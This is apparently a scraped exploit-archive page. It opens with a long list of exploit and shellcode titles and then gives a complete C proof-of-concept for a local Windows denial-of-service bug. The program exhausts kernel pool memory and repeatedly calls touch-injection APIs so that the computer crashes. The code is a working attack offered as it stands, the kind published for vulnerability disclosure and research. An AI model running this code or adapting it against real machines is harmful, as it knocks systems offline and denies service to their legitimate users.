
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
80 lines
No EOL
2.5 KiB
C
80 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/67742/info
|
|
|
|
Microsoft Windows is prone to a local denial-of-service vulnerability.
|
|
|
|
A local attacker can exploit this issue to crash the affected computer, denying service to legitimate users.
|
|
|
|
#ifndef WIN32_NO_STATUS
|
|
# define WIN32_NO_STATUS
|
|
#endif
|
|
#include <windows.h>
|
|
#include <assert.h>
|
|
#include <stdio.h>
|
|
#include <winerror.h>
|
|
#include <winternl.h>
|
|
#include <stddef.h>
|
|
#include <winnt.h>
|
|
#ifdef WIN32_NO_STATUS
|
|
# undef WIN32_NO_STATUS
|
|
#endif
|
|
#include <ntstatus.h>
|
|
|
|
#pragma comment(lib, "ntdll")
|
|
#pragma comment(lib, "user32")
|
|
#pragma comment(lib, "gdi32")
|
|
#pragma comment(lib, "advapi32")
|
|
|
|
// InitializeTouchInjection() Win8.1 Testcase
|
|
// -- Tavis Ormandy <taviso@google.com>, Feb 2014.
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
POINTER_TOUCH_INFO Contact;
|
|
SID_AND_ATTRIBUTES SidToRestricted;
|
|
ULONG Size;
|
|
HANDLE Handle;
|
|
|
|
ZeroMemory(&Contact, sizeof Contact);
|
|
ZeroMemory(&SidToRestricted, sizeof SidToRestricted);
|
|
|
|
// I *think* TOUCH_MASK_CONTACTAREA is required (i.e. rcContact), the rest
|
|
// just need to be valid.
|
|
Contact.pointerInfo.pointerType = PT_TOUCH;
|
|
Contact.pointerInfo.pointerFlags = POINTER_FLAG_DOWN | POINTER_FLAG_INRANGE | POINTER_FLAG_INCONTACT;
|
|
Contact.pointerInfo.ptPixelLocation.x = 'AAAA';
|
|
Contact.pointerInfo.ptPixelLocation.y = 'AAAA';
|
|
Contact.rcContact.left = 'AAAA';
|
|
Contact.rcContact.right = 'AAAA';
|
|
Contact.rcContact.top = 'AAAA';
|
|
Contact.rcContact.bottom = 'AAAA';
|
|
Contact.touchFlags = TOUCH_FLAG_NONE;
|
|
Contact.touchMask = TOUCH_MASK_CONTACTAREA;
|
|
Size = SECURITY_MAX_SID_SIZE;
|
|
Handle = INVALID_HANDLE_VALUE;
|
|
SidToRestricted.Sid = _alloca(Size);
|
|
|
|
CreateWellKnownSid(WinNullSid, NULL, SidToRestricted.Sid, &Size);
|
|
|
|
// This just exhausts available pool (how that's accomplished is irrelevant).
|
|
for (Size = 1 << 26; Size; Size >>= 1) {
|
|
while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
|
;
|
|
}
|
|
|
|
for (;;) {
|
|
// Initialize touch injection with very small number of contacts.
|
|
InitializeTouchInjection(1, TOUCH_FEEDBACK_DEFAULT);
|
|
|
|
// Now increase the number of contacts, which should (eventually) cause an allocation fail.
|
|
InitializeTouchInjection(MAX_TOUCH_COUNT, TOUCH_FEEDBACK_DEFAULT);
|
|
|
|
// I think this will just massage the pool, sequence found by fuzzing.
|
|
OpenProcessToken(GetCurrentProcess(), MAXIMUM_ALLOWED, &Handle);
|
|
CreateRestrictedToken(Handle, 0, 0, NULL, 0, NULL, 1, &SidToRestricted, &Handle);
|
|
|
|
// Write something to the touch injection allocation.
|
|
InjectTouchInput(1, &Contact);
|
|
}
|
|
|
|
return 0;
|
|
} |